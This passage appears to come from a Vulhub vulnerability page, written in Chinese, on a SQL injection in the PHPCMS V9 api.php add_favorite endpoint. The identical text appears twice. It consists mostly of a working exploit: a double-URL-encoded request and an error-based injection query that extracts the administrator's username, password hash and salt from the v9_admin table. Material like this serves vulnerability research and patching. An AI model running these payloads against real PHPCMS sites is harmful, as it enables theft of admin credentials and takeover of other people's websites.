VULHUB ™

``` $title = urldecode($title); $data = array('title'=>$title, 'url'=>$url, 'adddate'=>SYS_TIME, 'userid'=>$userid); $favorite_db->insert($data); ``` api.php需要注册用户才能访问，因此利用需要注册用户，并且登录，然后可以直接提交： `/api.php?op=add_favorite&url=J&title=%2527%2520and%2520%2528select`  这里是V9，因此，我们构造一下语句先： ``` select count(*),concat((select (select (select concat(0x23,cast(concat(username,0x3a,password,0x3a,encrypt) as char),0x23) from v9_admin LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1' ``` 

``` $title = urldecode($title); $data = array('title'=>$title, 'url'=>$url, 'adddate'=>SYS_TIME, 'userid'=>$userid); $favorite_db->insert($data); ``` api.php需要注册用户才能访问，因此利用需要注册用户，并且登录，然后可以直接提交： `/api.php?op=add_favorite&url=J&title=%2527%2520and%2520%2528select`  这里是V9，因此，我们构造一下语句先： ``` select count(*),concat((select (select (select concat(0x23,cast(concat(username,0x3a,password,0x3a,encrypt) as char),0x23) from v9_admin LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1' ```